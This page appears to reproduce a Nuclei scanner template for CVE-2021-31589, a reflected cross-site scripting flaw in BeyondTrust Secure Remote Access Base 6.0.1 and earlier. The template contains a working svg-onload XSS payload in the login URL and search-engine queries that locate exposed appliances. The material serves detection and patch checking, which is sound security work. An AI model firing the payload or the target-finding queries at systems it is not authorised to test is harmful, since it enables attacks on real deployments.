BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting

ID: CVE-2021-31589

Severity: medium

Author: Ahmed Abou-Ela

Tags: cve,cve2021,xss,packetstorm,beyondtrust,bomgar

Description

BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.

YAML Source

id: CVE-2021-31589

info:
  name: BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting
  author: Ahmed Abou-Ela
  severity: medium
  description: BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement.
  remediation: |
    Upgrade to a patched version of BeyondTrust Secure Remote Access Base (6.0.2 or higher) that addresses the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/165408
    - https://cxsecurity.com/issue/WLB-2022010013
    - https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
    - https://www.beyondtrust.com/docs/release-notes/index.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31589
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31589
    cwe-id: CWE-79
    epss-score: 0.00286
    epss-percentile: 0.68716
    cpe: cpe:2.3:o:beyondtrust:appliance_base_software:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: beyondtrust
    product: appliance_base_software
    shodan-query: 'set-cookie: nsbase_session'
    google-query:
      - '"BeyondTrust" "Redistribution Prohibited"'
      - '"beyondtrust" "redistribution prohibited"'
  tags: cve,cve2021,xss,packetstorm,beyondtrust,bomgar

http:
  - method: GET
    path:
      - "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(document.domain)>'
          - 'bomgar'
        case-insensitive: true
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220013cd2e6df23f1b10b8082925b6301f07c79d1cb2ac388ff1197ec9a3351851f022100ca97b45518a00bf824290da18353c6b88529ed96999ae39685481c2888010d99:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-31589.yaml"

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